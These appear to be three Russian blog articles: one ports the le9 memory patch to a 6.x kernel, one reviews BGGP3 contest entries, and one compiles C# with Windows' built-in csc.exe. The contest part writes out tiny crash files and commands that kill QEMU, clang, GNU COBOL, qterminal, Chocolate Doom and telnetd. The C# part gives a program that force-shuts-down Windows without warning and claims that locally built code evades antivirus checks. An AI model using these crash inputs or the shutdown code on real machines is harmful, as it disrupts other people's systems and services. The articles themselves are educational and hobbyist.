Одна из таких сборок называется Xanmod и посвящена работе современного ядра на desktop-системе с минимальными визуальными задержками:
XanMod is a general-purpose Linux kernel distribution with custom settings and new features. Built to provide a stable, smooth and solid system experience.
Так вот на момент появления l9ec патча, он был включен в сборку Xanmod:
С официальной страницы с отзывами, между прочим.
Но в последних 6.х версиях Xanmod его уже нет, на что есть формальная причина — появление вот этого патча, вроде как окончательно решающего проблему c зависанием:
MGLRU is a kernel innovation we've been eager to see merged in 2022 and it looks like that could happen for the next cycle, v5.19, for improving Linux system performance especially in cases of approaching memory pressure.
На данный момент MGLRU в mainline и скорее всего работает прямо сейчас и у вас в системе, если конечно у вас современный линукс и MGLRU не отключен вручную.
К сожалению принцип работы MGLRU другой (см. комментарий выше про 32Гб памяти на десктопе) и тестировался его функционал тоже в другом месте:
On Android, our most advanced simulation that generates memory pressure from realistic user behavior shows 18% fewer low-memory kills, which in turn reduces cold starts by 16%.
Как нетрудно догадаться, «realistic user behavior» на мобильном Android несколько отличается от тотальной перегрузки тяжелыми средствами разработки на дохлом десктопе или еще более слабой виртуальной машине.
Поэтому «продвинутым пользователям Linux» в очередной раз придется заботиться о себе и своих проблемах самостоятельно.
К сожалению автор патча l9 видимо устав бодаться с идиотами, не стал переносить свой замечательный патч в 6.х ветку ядра, решив что раз более умные ребята из Google выкатили MGLRU — от его решения толку больше не будет.
Как ни странно, но это не так и l9 патч куда более предсказуем и надежен как удар ломом, в отличие от цирка с аж 14 патчами MGLRU:
These initial multi-generational LRU patches amount to 14 patches at the moment and in a patched kernel can be enabled via the LRU_GEN Kconfig switch
Собственно эта статья появилась на свет после того как автор опять словил зависание под нагрузкой во время работы над большим проектом, из-за чего и решил откопать дедовский пулемет портировать известный патч в 6.х ядро.
За основу был взят последний патч для 5.х ветки без учета MGLRU: le9ec-5.15.patch а его логика добавлялась в Xanmod-версию ядра 6.14.5.
Ниже по шагам объясняю как выполнить перенос логики патча, чтобы процедуру можно было повторить и на более новых ядрах и на «vanilla» версиях.
Скачиваем архив с Xanmod ядром и l9-патч по ссылкам выше и распаковываем.
Стоит сразу предупредить, что размер текущей версии ядра Linux в распакованном виде ~1.8 Гигабайт, а для сборки понадобится еще ~28 Гигабайт.
Вот такие нынче ядра.
Разумеется применить готовый diff автоматически для ветки 6.х не получится, так что будем переносить логику патча по шагам.
Всего в рамках патча изменения происходят в пяти файлах:
Поскольку исправлять документацию нам не очень актуально, первый файл можно пропустить. Таким образом первое актуальное исправление находится в файле include/linux/mm.h, куда добавляются глобальные переменные, отвечающие за настраиваемые лимиты:
Все что нужно сделать — вставить строки в файл include/linux/mm.h:
extern unsigned long sysctl_anon_min_kbytes;
extern unsigned long sysctl_clean_low_kbytes;
extern unsigned long sysctl_clean_min_kbytes;
Следующий шаг чуть объемнее:
Необходимо найти массив static struct ctl_table vm_table[] в файле kernel/sysctl.c и добавить внутрь три блока, отвечающих за настройку.
{
.procname = "anon_min_kbytes",
.data = &sysctl_anon_min_kbytes,
.maxlen = sizeof(unsigned long),
.mode = 0644,
.proc_handler = proc_doulongvec_minmax,
},
{
.procname = "clean_low_kbytes",
.data = &sysctl_clean_low_kbytes,
.maxlen = sizeof(unsigned long),
.mode = 0644,
.proc_handler = proc_doulongvec_minmax,
},
{
.procname = "clean_min_kbytes",
.data = &sysctl_clean_min_kbytes,
.maxlen = sizeof(unsigned long),
.mode = 0644,
.proc_handler = proc_doulongvec_minmax,
},
Следующая правка в файле mm/Kconfig, которой добавляется управление новыми настраиваемыми параметрами ядра:
По-сути правки, вам надо добавить в файл mm/Kconfig три блока: ANON_MIN_KBYTES, CLEAN_LOW_KBYTES и CLEAN_MIN_KBYTES вместе со всем содержимым.
Все что выше отвечало лишь за настройку, основная логика патча l9 приходится на файл mm/vmscan.c, в котором будут происходить оставшиеся правки.
Первым делом добавляем локальные переменные:
Затем добавляем логику присваивания значений из параметров ядра:
Ориентируетесь на макрос #define prefetchw_prev_lru_folio, строки добавляются после него:
unsigned long sysctl_anon_min_kbytes __read_mostly = CONFIG_ANON_MIN_KBYTES;
unsigned long sysctl_clean_low_kbytes __read_mostly = CONFIG_CLEAN_LOW_KBYTES;
unsigned long sysctl_clean_min_kbytes __read_mostly = CONFIG_CLEAN_MIN_KBYTES;
Следующая правка добавляется в метод static void get_scan_countкоторый успел поменять сигнатуру:
Я добавил сразу после блока с переменными:
struct pglist_data *pgdat = lruvec_pgdat(lruvec);
struct mem_cgroup *memcg = lruvec_memcg(lruvec);
unsigned long anon_cost, file_cost, total_cost;
int swappiness = sc_swappiness(sc, memcg);
u64 fraction[ANON_AND_FILE];
u64 denominator = 0; /* gcc */
enum scan_balance scan_balance;
unsigned long ap, fp;
enum lru_list lru;
/*
* Force-scan anon if clean file pages is under vm.clean_low_kbytes
* or vm.clean_min_kbytes.
*/
if (sc->clean_below_low || sc->clean_below_min) {
scan_balance = SCAN_ANON;
goto out;
}
Следующая правка в этом же файле должна быть вставлена в этот же метод get_scan_count, но ниже по коду — ориентируйтесь на строку nr[lru] = scan;благо она такая одна:
Я вставил логику проверки сразу над ней:
/*
* Hard protection of the working set.
*/
if (file) {
/*
* Don't reclaim file pages when the amount of
* clean file pages is below vm.clean_min_kbytes.
*/
if (sc->clean_below_min)
scan = 0;
} else {
/*
* Don't reclaim anonymous pages when their
* amount is below vm.anon_min_kbytes.
*/
if (sc->anon_below_min)
scan = 0;
}
nr[lru] = scan;
Следующей правкой добавляется новая функция prepare_workingset_protection, которая должна вызываться из существующего метода shrink_node_memcgs:
Так что вам надо найти функцию shrink_node_memcgs (она такая одна) и вставить новую функцию prepare_workingset_protection над ней:
static void prepare_workingset_protection(pg_data_t *pgdat,
struct scan_control *sc)
{
/*
* Check the number of anonymous pages to protect them from
* reclaiming if their amount is below the specified.
*/
if (sysctl_anon_min_kbytes) {
unsigned long reclaimable_anon;
reclaimable_anon =
node_page_state(pgdat, NR_ACTIVE_ANON) +
node_page_state(pgdat, NR_INACTIVE_ANON) +
node_page_state(pgdat, NR_ISOLATED_ANON);
reclaimable_anon <<= (PAGE_SHIFT - 10);
sc->anon_below_min = reclaimable_anon < sysctl_anon_min_kbytes;
} else
sc->anon_below_min = 0;
/*
* Check the number of clean file pages to protect them from
* reclaiming if their amount is below the specified.
*/
if (sysctl_clean_low_kbytes || sysctl_clean_min_kbytes) {
unsigned long reclaimable_file, dirty, clean;
reclaimable_file =
node_page_state(pgdat, NR_ACTIVE_FILE) +
node_page_state(pgdat, NR_INACTIVE_FILE) +
node_page_state(pgdat, NR_ISOLATED_FILE);
dirty = node_page_state(pgdat, NR_FILE_DIRTY);
/*
* node_page_state() sum can go out of sync since
* all the values are not read at once.
*/
if (likely(reclaimable_file > dirty))
clean = (reclaimable_file - dirty) << (PAGE_SHIFT - 10);
else
clean = 0;
sc->clean_below_low = clean < sysctl_clean_low_kbytes;
sc->clean_below_min = clean < sysctl_clean_min_kbytes;
} else {
sc->clean_below_low = 0;
sc->clean_below_min = 0;
}
}
Собственно последняя правка это вызов новой функции из существующей shrink_node_memcgs:
После внесения всех этих исправлений, запускаем один из вариантов настройки ядра:
make xconfig
И наблюдаем новые поля настройки:
Цепочка сборки и установки ядра совершенно стандартная:
make && make modules && make modules_install && make install
К сожалению это еще не все и прежде чем патч заработает надо будет отключить MGLRU, который как я уже описывал — успели внести в основную ветку ядра:
cat /sys/kernel/mm/lru_gen/enabled
Должен показать 0x0007 если MGLRU включен, отключить можно командой:
echo 0 | sudo tee /sys/kernel/mm/lru_gen/enabled
Вот тут у автора патча лежат готовые скрипты для автоматизации всего этого цирка. Я же просто добавил строчку с отключением в /etc/rc.local.
Для тестов портированного патча, был взят один из моих боевых ноутбуков Lenovo Z580 2012го года выпуска, с 8Гб памяти:
На нем постоянно творится всевозможная дичь — тут пять разных операционных систем и куча проектов и инструментов для разработки на каждой.
Поэтому без особого труда были одновременно запущены:
PostgreSQL с реальной базой
MySQL тоже с реальной базой
Intellij Idea
VSCode
Сборка проекта на Node.js с Webpack и hot reload
Сборка достаточно крупного Java-проекта (~3000 исходных файлов)
Chromium с 20 вкладками
Напоминаю что все это на 8Гб реальной памяти и на ноутбукe. Причем в качестве ОС в этот раз была обычная Ubuntu:
Как-то так это выглядит в действии:
Через неделю после публикации я решил пойти еще дальше и поставил пропатченное с l9 ядро на ноутбук 2007 года с 3Гб памяти. И повторил тесты с нагрузкой. Видео тут.
Все более чем работает и пропатченное ядро замечательно отрабатывает свою пайку.
Можно сколько угодно стебаться с пожеланиями «купи себе наконец нормальный компьютер», скажу что намеренно и давно использую старое железо — в первую очередь для оценки производительности создаваемого ПО.
И это одна из причин, по которой у нас получаются технические чудеса вроде Телепорты.
Если вы пока не дошли до столь глубокой стадии просвещения в разработке — все равно стоит знать, что мы ловили подобные зависания и в виртуальных машинах с Linux, например на CI‑сервере при сборке нескольких проектов одновременно.
Так что актуальность описанного все же высокая и как получилось, что столь простой и очевидный патч, который гарантированно решает проблему до сих пор не используют активно — ума не приложу. Ну и разумеется автору патча лучи респекта, благо это лучший представитель отечественной инженерной школы.
Статья была опубликована на Хабре, оригинал, в котором автор статьи себя не сдерживал и в красках рассказал все что думает о разработчиках ядра Linux как обычно можно найти в нашем блоге.
Продолжаю рассказывать широкой аудитории о «гусарских забавах» компьютерной элиты. Дело поручика Ржевского живет и господа-офицеры от программирования меряются своей крутизной и развлекаются ничуть не хуже далеких предков времен Наполеона.
На фоне незабываемая Натали Портман в свои лучшие годы, перенесенная силами нейросети в питерскую коммуналку.
Однажды я уже рассказывал об этом интересном конкурсе для самых отбитых опытных из программерской тусовки, взяв для статьи работы с самого его первого проведения, случившегося в пандемийном 2020м.
На этот раз рассказ пойдет о третьем по счету BGGP, прошедшим в 2022 году.
Поясняю для непричастных:
Binary Golf Grand Prix — соревнование для
особенныхизбранных от мира программирования и компьютеров: реверс-инженеров, пентестеров, системных программистов и хакеров в классическом понимании этого термина.
Раз в год все эти интересные личности собираются, придумывают какие‑нибудь особо изощренные правила и устраивают конкурс «для своих».
По духу все это сильно напоминает гусарские забавы времен Наполеона, отлично раскрытые в анекдотах про поручика Ржевского — чистый офицерский угар ради забавы и веселья.
На этот раз цель соревнования звучала лаконично:
The goal of the 3rd Annual Binary Golf Grand Prix (BGGP3) is to find the smallest file which will crash a specific program.
Проще говоря надо найти или подобрать набор байт, который будучи скормленным программе убьет ее при запуске. Пистолеты программу господин офицер волен выбрать самостоятельно. Правила столь интересного конкурса разумеется тоже доставляют:
Any software running on a machine that does not belong to you will not be accepted.
Так что конь у офицера должен быть свой, а не «арендованный» ;)
Работы оценивались по количеству набранных баллов, чем больше баллов — тем длиннее автор(ы) круче. Правила подсчета баллов тоже весьма своеобразны:
Базовый скор = 4096 минус размер файла
Плюс 1024 за статью с описанием
Плюс 1024 если внутреннее состояние было перезаписано байтами 0x33's или ASCII-символом "3"
Плюс 2048 если было достигнуто выполнение кода, в качестве доказательства - вывод числа "3"
Плюс 4096 если был сделан патч, закрывающий уязвимость.
Описаны далеко не все присланные работы, только те что удалось запустить и проверить в моем окружении (FreeBSD 14.3).
11244 баллов
Работа‑победитель, набравшая больше всего итоговых баллов.
20 байт, убивающие широко известный эмулятор Qemu, причем баг до сих пор не исправлен.
Команда-убийца:
base64 -d<<<uAJPuxhBzRC61AO+E3y5BQDzbwcMDOgTCReKG4I=>a;
qemu-system-i386 -vga cirrus -no-fd-bootchk -fda a
Как это выглядит в действии:
Как это работает:
An assert() is triggered in QEMU's CirrusVGA emulation code
С помощью специально подобранного набора байт, переданного эмулятору Qemu в качестве образа дискеты вызывается программная проверка (assert), которая при срабатывании вызывает segmentation fault.
И Qemu падает. Насмерть.
5098 баллов.
23 байта убивающие компилятор clang, причем любой актуальной версии — с 15 до 19го включительно.
Команда-убийца:
base64 -d <<< aW50IG1haW4oKXtyZXR1cm4gMTt9Cg== > crash.c;
clang -target i386-apple-windows-eabi crash.c
Хотя на самом деле тут в виде base64 закодирован минимально рабочий код:
int main(){return 1;}
Как выглядит в действии:
Что происходит:
11 Separate crashes due to mishandledtarget triples passed on command line
Из-за того что clang поддерживает слишком много разных архитектур, операционных систем и окружений не все из комбинаций поддерживаются и работают:
To be fair, nobody really wants to target Apple as a vendor on the Cygnus CPU, hopefully.
Поэтому указание трешевого i386-apple-windows-eabi в качестве целевой платформы для компилятора приводит к падению, даже с валидным кодом:
clang -target i386-apple-windows-eabi <<< "int main(){}"
Еще у автора есть отдельная большая статья с детальным описанием процесса поиска этого бага, которую рекомендую к изучению.
9176 баллов, 40 байт убивающих GNU COBOL.
Команда:
base64 -d <<< CSILQkdHUMKFMzMzM8KFLi4uM8KFMzMzM8KFLi4uM8KFMzMzM8KFAA== > crash.cob;
cobc -o /dev/null crash.cob
Внутри base64-строки вместо кода находится специально подобранный текстовый мусор:
" BGGP 3333 ...3 3333 ...3 3333
В действии:
Что происходит:
File causes crash due to stack protector in creation of an an error literal due to a 5-Byte Stack based overflow. Testcase aligns a NULL to exact size of CB_ERR_LITMAX.
Хотя куда показательней решение проблемы, именно так выглядят реальные баги а не весь этот ваш «вайбкодинг».
Цитируя автора:
This section correctly handles everything correctly EXCEPT a strlen of 38.
if (strlen (literal_data) > CB_ERR_LITMAX) {
If we add a single character “=”, we should no longer see a crash.
if (strlen (literal_data) >= CB_ERR_LITMAX) {
Как видите, всего лишь один символ может привести к падению столь сложной программы как компилятор. Статья с детальным описанием процесса поиска этого замечательного бага по ссылке.
4094 баллов
2 байта (!) убивающие приложение:
qterminal allows for an option to supply commands to be run in a new terminal. When the string “0” is sent as a command, the terminal launches and crashes immediately.
Оформление согласно правилам конкурса:
base64 -d <<< MAo= > crash.txt; qterminal -e $(cat crash.txt)
Или в более читаемом варианте:
qterminal -e 0
В действии:
Баг кстати вполне обыденный — такое часто встречается, когда некий «особенный» вариант использования программы просто не приходит в голову разработчикам. Именно для таких случаев в ИТ до сих пор нужны тестировщики и любой качественный софт все также зависит от постоянных проверок живыми людьми.
5112 баллов и 8 убийственных байт.
В этот раз с помощью специально сформированного «битого» файла с ресурсами в мир иной отправляется современная версия классического шутера — Chocolate Doom.
Команда-убийца:
echo -ne "IWAD\xff\xff\xff\xff" > crash.wad; chocolate-doom -iwad crash.wad
В действии:
Что происходит:
Having an 'IWAD' type wad file containing only the identification field and numlumps field with the numlumps field set to a negative value such as -1 will cause a segfault when allocating a memory block for the allocation of the lump directory from a newblock->next->prev deference that points into an invalid memory address.
Да это тоже классика «багостроения» — очень многие программы падают при попытке открытия неправильно сформированных или битых файлов с данными. Хотя в данном конкретном случае файл был сформирован намеренно битым — в нем указано количество блоков с данными в виде -1, что и убивает программу при попытке открытия.
9214 балла и 2 байта убивающие демон telnetd.. вообще везде:
FreeBSD-telnetd, NetBSD-telnetd, netkit-telnetd, telnetd in Kerberos Version 5 Applications and inetutils-telnetd are standard telnet servers used in several Linux distributions, BSD systems, UNIX systems and commercial products:
FreeBSD, NetBSD
Debian, Fedora, Gentoo, ArchLinux, ... - using inetutils-telnetd or netkit-telnetd
specific Palo Alto appliances
specific Cisco appliances
specific Brocade appliances
specific Arista appliances
OS running telnetd from Kerberos Version 5 Applications: this may include BSD 4.3 Reno, UNICOS 5.1 to UNICOS 7.0, SunOs 3.5 to SunOs 4.1, DYNIX V3.0.17.9 and Ultrix 3.1 to Ultrix 4.0. Note that these OS may be EOL.
Эти милые люди Pierre Kim и Alexandre Torres откопали 30-летний баг в telnetd ради победы на конкурсе:
These vulnerabilities are very old (at least 30 years).
А что ты сделал для хип-хопа?
Конечно же уязвимость на данный момент закрыта да и сам telnetd ныне можно обнаружить лишь в NAS и Wifi-роутерах, что никак не снижает степерь эпичности найденного бага и заслуженное третье место в конкурсе.
Детальная статья с разбором и описанием процесса поиска находится тут.
Статья была опубликована на Хабре, оригинал статьи в более вольном изложении можно как обычно найти в нашем блоге.
Есть компьютер с чистой копией Windows, без доступа в интернет и без каких‑либо установленных средств разработки. Только одна чистая пользовательская «венда». Не поверите, но даже в таких спартанских условиях возможно написать и запустить полноценную программу. И сейчас я расскажу как.
Ради этого скриншота я честно развернул пользовательскую версию Windows 11 в виртуальной машине. Чего не сделаешь ради искусства!
На самом деле в ОС семейства Windows с самого их начала было внутри столько всякого интересного, что никакой статьи не хватит описать, но почему-то мало кто об этом знает даже из разработчиков, особенно современных.
Спросите ради интереса знакомого программиста, возможно ли программировать на «чистой» пользовательской Windows без установки Visual Studio — удивитесь ответам.
Ну и разумеется насаждаемый «пользовательский» подход самой Microsoft, которая ковыряние во внутренностях своих продуктов мягко говоря никогда не одобряла, создал ореол простоты и надежности, без необходимости разбираться как оно внутри устроено.
Поэтому описанное ниже наверное вызовет определенный ужас как у обычных пользователей так и некоторых программистов — особенно если они обучались по видеокурсам ничего не знают об истории ОС Windows.
Начну с цитаты из одной интересной статьи:
Over the past few months, I've received several variations on this question for other operating systems and all of the released versions of the .NET Framework. When the .NET Framework is installed as a part of the OS, it does not appear in the Programs and Features (or Add/Remove Programs) control panel. The following is a complete list of which version of the .NET Framework is included in which version of the OS
И ниже длинный такой список с версиями. А вот еще один если вдруг первого оказалось недостаточно.
Ну казалось бы и.. что? Чего тут такого?
Про .NET SDK все и так знают, временами его необходимо установить «для запуска игор», временами он сам ставится в виде зависимой библиотеки и никому не мешает.
Все так, да.
Только что-то мне подсказывает внутрь вы не заглядывали, правда? Поэтому на что эта штука на самом деле способна не представляете.
А я представляю и сейчас расскажу.
Заходите в папку Windows на вашем компьютере, вот сюда:
Файлт csc.exe — самый настоящий компилятор, фактически портал в ад на вашем обычном домашнем компьютере.
Почему все так страшно?
Потому что через какое-то время вы обнаружите себя сильно заросшим, с бородой и красными глазами, проводящим ночи за компьютером и медленно мутирующим в программиста.
Шучу.
А если серьезно:
появляется возможность создания нативных программ сразу на вашем компьютере, минуя стадию проверки электронной подписи, проверки антивирусом, проверки электронного письма и так далее.
В отличие от VB или PowerShell-скриптов, которые анализируются перед запуском любым приличным антивирусом, антивирусы не анализируют исходный код программ на C# и куда лояльнее относятся к программам собранным локально на этой же машине.
Так что веселье начинается.
Для начала будет простой пример, который просто показывает стандартный диалог с сообщением. Именно его в запущенном виде вы можете видеть на заглавной картинке в статье.
Весь процесс от кода до запуска я записал на видео:
Исходный код тут казалось бы максимально простой, но с одним интересным нюансом про который ниже:
using System;
using System.Runtime.InteropServices;
namespace yoba
{
class Program
{
// импортирование нативной WinAPI функции MessageBox.
[DllImport("user32.dll")]
public static extern int MessageBox(IntPtr hWnd, string lpText, string lpCaption, uint uType);
static void Main(string[] args)
{
//вызываем и показываем диалог
MessageBox(IntPtr.Zero, "Йоу!", "Добро пожаловать в разработку!", 0);
}
}
}
Сохраняете этот текст обычным «блокнотом» в файл yoba.cs и запускаете сборку:
c:\Windows\Microsoft.NET\Framework\v3.5\csc.exe yoba.cs
Таким образом я запускал сборку на Windows 10, но имейте ввиду что версия системного .NET SDK может отличаться и например в Windows 11 уже будет:
c:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe yoba.cs
После сборки рядом с исходным файлом yoba.cs появится бинарник yoba.exe, который вы сможете запустить.
А теперь про нюанс.
Существует определенное предубеждение по отношению к managed‑языкам вроде Java и С# — они не подходят для серьезных дел вроде написания эксплоитов, использования 0day‑уязвимостей и пенетрации ядра.
Что все подобные вещи творят
в глубокой тайнена чистом Си, в крайнем случае на C++ а все эти ваши Java/C# не более чем «погремушки для детей», не достойные даже косого взгляда серьезного профессионала.
Вот тут и начинается нюанс, посмотрите на эту радость:
[DllImport("user32.dll")]
public static extern int MessageBox(IntPtr hWnd,
string lpText, string lpCaption, uint uType);
Это мои дорогие читатели, ни что иное как вызов нативного WinAPI, с помощью которого творили всякое нехорошее в далекие 90е.
C# и .NET имеет оооочень глубокую интеграцию с Windows, несмотря на всю свою «безопасность» и управляемость, поэтому легко и просто может заменить собой и Си и С++ в качестве инструмента для нехороших дел.
И оно живет на вашем компьютере, дома и в офисе, с постоянной пропиской и регистрацией.
Но разумеется столь простого примера несколько мало для осознания глубины проблемы, поэтому я подготовил кое-что более серьезное.
Итак, это будет относительно небольшое приложение на C#, выключающее компьютер без предупреждения и подтверждения пользователя. И само собой без прав администратора.
Просто так, внезапно.
Последствия думаю каждый из читателей сможет оценить для себя сам.
Весь процесс на видео (разумеется это виртуальная машина):
А теперь код:
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Security;
using System.Diagnostics;
using System.Management;
using System.Security.Permissions;
using System.Runtime.InteropServices;
namespace yoba
{
// See http://www.developmentnow.com/g/33_2004_12_0_0_33290/Access-...
// Calling this code on backup/restore seems to enable BCD
public class TokenHelper
{
// PInvoke stuff required to set/enable security privileges
[DllImport("advapi32", SetLastError=true),
SuppressUnmanagedCodeSecurityAttribute]
static extern int OpenProcessToken(
System.IntPtr ProcessHandle, // handle to process
int DesiredAccess, // desired access to process
ref IntPtr TokenHandle // handle to open access token
);
[DllImport("kernel32", SetLastError=true),
SuppressUnmanagedCodeSecurityAttribute]
static extern bool CloseHandle(IntPtr handle);
[DllImport("advapi32.dll", CharSet=CharSet.Auto, SetLastError=true),
SuppressUnmanagedCodeSecurityAttribute]
static extern int AdjustTokenPrivileges(
IntPtr TokenHandle,
int DisableAllPrivileges,
IntPtr NewState,
int BufferLength,
IntPtr PreviousState,
ref int ReturnLength);
[DllImport("advapi32.dll", CharSet=CharSet.Auto, SetLastError=true),
SuppressUnmanagedCodeSecurityAttribute]
static extern bool LookupPrivilegeValue(
string lpSystemName,
string lpName,
ref LUID lpLuid);
[StructLayout(LayoutKind.Sequential)]
internal struct LUID
{
internal int LowPart;
internal int HighPart;
}
[StructLayout(LayoutKind.Sequential)]
struct LUID_AND_ATTRIBUTES
{
LUID Luid;
int Attributes;
}
[StructLayout(LayoutKind.Sequential)]
struct _PRIVILEGE_SET
{
int PrivilegeCount;
int Control;
[MarshalAs(UnmanagedType.ByValArray, SizeConst=1)] // ANYSIZE_ARRAY = 1
LUID_AND_ATTRIBUTES [] Privileges;
}
[StructLayout(LayoutKind.Sequential)]
internal struct TOKEN_PRIVILEGES
{
internal int PrivilegeCount;
[MarshalAs(UnmanagedType.ByValArray, SizeConst=3)]
internal int[] Privileges;
}
const int SE_PRIVILEGE_ENABLED = 0x00000002;
const int TOKEN_ADJUST_PRIVILEGES = 0X00000020;
const int TOKEN_QUERY = 0X00000008;
const int TOKEN_ALL_ACCESS = 0X001f01ff;
const int PROCESS_QUERY_INFORMATION = 0X00000400;
public static bool SetPrivilege (string lpszPrivilege, bool
bEnablePrivilege )
{
bool retval = false;
int ltkpOld = 0;
IntPtr hToken = IntPtr.Zero;
TOKEN_PRIVILEGES tkp = new TOKEN_PRIVILEGES();
tkp.Privileges = new int[3];
TOKEN_PRIVILEGES tkpOld = new TOKEN_PRIVILEGES();
tkpOld.Privileges = new int[3];
LUID tLUID = new LUID();
tkp.PrivilegeCount = 1;
if (bEnablePrivilege)
tkp.Privileges[2] = SE_PRIVILEGE_ENABLED;
else
tkp.Privileges[2] = 0;
if(LookupPrivilegeValue(null , lpszPrivilege , ref tLUID))
{
Process proc = Process.GetCurrentProcess();
if(proc.Handle != IntPtr.Zero)
{
if (OpenProcessToken(proc.Handle, TOKEN_ADJUST_PRIVILEGES|TOKEN_QUERY,
ref hToken) != 0)
{
tkp.PrivilegeCount = 1;
tkp.Privileges[2] = SE_PRIVILEGE_ENABLED;
tkp.Privileges[1] = tLUID.HighPart;
tkp.Privileges[0] = tLUID.LowPart;
const int bufLength = 256;
IntPtr tu = Marshal.AllocHGlobal( bufLength );
Marshal.StructureToPtr(tkp, tu, true);
if(AdjustTokenPrivileges(hToken, 0, tu, bufLength, IntPtr.Zero, ref
ltkpOld) != 0)
{
// successful AdjustTokenPrivileges doesn't mean privilege could be changed
if (Marshal.GetLastWin32Error() == 0)
{
retval = true; // Token changed
}
}
TOKEN_PRIVILEGES tokp = (TOKEN_PRIVILEGES) Marshal.PtrToStructure(tu,
typeof(TOKEN_PRIVILEGES) );
Marshal.FreeHGlobal( tu );
}
}
}
if (hToken != IntPtr.Zero)
{
CloseHandle(hToken);
}
return retval;
}
}
class ShutDown
{
[DllImport("user32.dll", ExactSpelling = true, SetLastError = true)]
internal static extern bool ExitWindowsEx(int flg, int rea);
internal const int EWX_FORCE = 0x00000004;
internal const int EWX_POWEROFF = 0x00000008;
static void Main(string[] args)
{
TokenHelper.SetPrivilege("SeShutdownPrivilege",true);
ExitWindowsEx(EWX_FORCE | EWX_POWEROFF, 0);
}
}
}
Обращаю внимание что это не эксплоит, не дыра, не баг и не уявимость а вполне себе стандартный функционал. Просто так получилось что о нем мало кто знает.
Собирается по аналогии с предыдущим примером:
c:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe Shutdown.cs
После запуска компьютер практически немедленно выключится:
проверено и в виртуальной машине и на железе, на 10й и 11й Windows.
Рассказываю как это работает.
Ключевая функция — ExitWindowsEx, которая и отвечает за завершение работы ОС. Эта функция очень старая и известная, существует еще со времен Windows 95.
Но для ее вызова нужны «привилегии», которые и выставляет программно класс TokenHelper.
Константы ниже:
internal const int EWX_FORCE = 0x00000004;
internal const int EWX_POWEROFF = 0x00000008;
используются вместе с "побитовым или" для указания на требуемое действие.
Вот еще допустимые варианты:
internal const int EWX_LOGOFF = 0x00000000;
internal const int EWX_SHUTDOWN = 0x00000001;
internal const int EWX_REBOOT = 0x00000002;
internal const int EWX_FORCEIFHUNG = 0x00000010;
Описание их всех находится все там же — в официальном руководстве, не поверите.
Теперь давайте разбираться как же работает столь жесткое забивание на систему защиты еще и стандартными средствами:
TokenHelper.SetPrivilege("SeShutdownPrivilege",true);
И начнем мы с импортов.
Первое что импортируется это функция OpenProcessToken:
[DllImport("advapi32", SetLastError=true),
SuppressUnmanagedCodeSecurityAttribute]
static extern int OpenProcessToken(
System.IntPtr ProcessHandle, // handle to process
int DesiredAccess, // desired access to process
ref IntPtr TokenHandle // handle to open access token
);
Функция отвечает за получение данных о наборе «привилегий», связанных с конкретным процессом. Собственно набор таких привилегий и называется «токеном».
Вот как эта функция вызывается:
if (OpenProcessToken(proc.Handle, TOKEN_ADJUST_PRIVILEGES|TOKEN_QUERY,
ref hToken) != 0)
{
..
Тут надо отметить передачу по ссылке в стиле Си (ref hToken), когда в функцию передается ссылка на объект C#, дальше функция этот объект заполняет данными. А возвращает она просто true или false — статус выполнения, отработала функция или нет.
Дальше импортируется простая и банальная функция освобождения ресурсов:
[DllImport("kernel32", SetLastError=true),
SuppressUnmanagedCodeSecurityAttribute]
static extern bool CloseHandle(IntPtr handle);
Вызывается она в самом конце, после всей логики и нужна только для освобождения использованной памяти под токен привилегий:
if (hToken != IntPtr.Zero)
{
CloseHandle(hToken);
}
Наконец главная функция, непосредственно отвечающая за переключение привилегий:
[DllImport("advapi32.dll", CharSet=CharSet.Auto, SetLastError=true),
SuppressUnmanagedCodeSecurityAttribute]
static extern int AdjustTokenPrivileges(
IntPtr TokenHandle,
int DisableAllPrivileges,
IntPtr NewState,
int BufferLength,
IntPtr PreviousState,
ref int ReturnLength);
Вот весь ключевой блок логики смены привилегий:
if (OpenProcessToken(proc.Handle, TOKEN_ADJUST_PRIVILEGES|TOKEN_QUERY,
ref hToken) != 0)
{
tkp.PrivilegeCount = 1;
tkp.Privileges[2] = SE_PRIVILEGE_ENABLED;
tkp.Privileges[1] = tLUID.HighPart;
tkp.Privileges[0] = tLUID.LowPart;
const int bufLength = 256;
IntPtr tu = Marshal.AllocHGlobal( bufLength );
Marshal.StructureToPtr(tkp, tu, true);
if(AdjustTokenPrivileges(hToken, 0, tu, bufLength, IntPtr.Zero, ref
ltkpOld) != 0)
{
// successful AdjustTokenPrivileges doesn't mean privilege could be changed
if (Marshal.GetLastWin32Error() == 0)
{
retval = true; // Token changed
}
}
TOKEN_PRIVILEGES tokp = (TOKEN_PRIVILEGES) Marshal.PtrToStructure(tu,
typeof(TOKEN_PRIVILEGES) );
Marshal.FreeHGlobal( tu );
}
Как видите вызов достаточно сложный, используется Сишный процедурный подход к заполнению полей структуры и передачи его по ссылке в вызываемую функцию.
После вызова проверяется наличие ошибки, также в стиле Си:
if (Marshal.GetLastWin32Error() == 0)
{
retval = true; // Token changed
}
0 это код возрата для успешного вызова, если он есть — считается что операция смены привилегий была выполнена успешно.
Наконец последняя функция, про которую стоит рассказать:
[DllImport("advapi32.dll", CharSet=CharSet.Auto, SetLastError=true),
SuppressUnmanagedCodeSecurityAttribute]
static extern bool LookupPrivilegeValue(
string lpSystemName,
string lpName,
ref LUID lpLuid);
Она отвечает за поиск привилегии по имени, полагаю ведь заметили что мы передаем некое кодовое наименование при вызове TokenHelper:
TokenHelper.SetPrivilege("SeShutdownPrivilege",true);
Именно эта функция отвечает за поиск конкретной привилегии по названию «SeShutdownPrivilege», вот так выглядит ее вызов:
if (bEnablePrivilege)
tkp.Privileges[2] = SE_PRIVILEGE_ENABLED;
else
tkp.Privileges[2] = 0;
if(LookupPrivilegeValue(null , lpszPrivilege , ref tLUID))
{
..
Переменная bEnablePrivilege булевая, это и есть то самое true передаваемое в качестве второго аргумента, а блок:
if (bEnablePrivilege)
tkp.Privileges[2] = SE_PRIVILEGE_ENABLED;
else
tkp.Privileges[2] = 0;
Отвечает за формирование правильного вызова с использованием системных констант (SE_PRIVILEGE_ENABLED).
При вызове также передается ссылка (ref tLUID) на объект LUID, который будет содержать после вызова указание на найденную привилегию.
Вот такие интересные дела.
Все описанное не призыв к немедленным действиям, а лишь повод к размышлению о смысле бытия. Ну там насчет надежности, безопасности и всего такого — что вам продает большая иностранная корпорация.
Задумайтесь, если увидите любимую "венду" на атомной станции или военном объекте — без всяких ЦРУ и хакеров в ОС Windows адова гора функционала, который легко и просто можно использовать во вред.
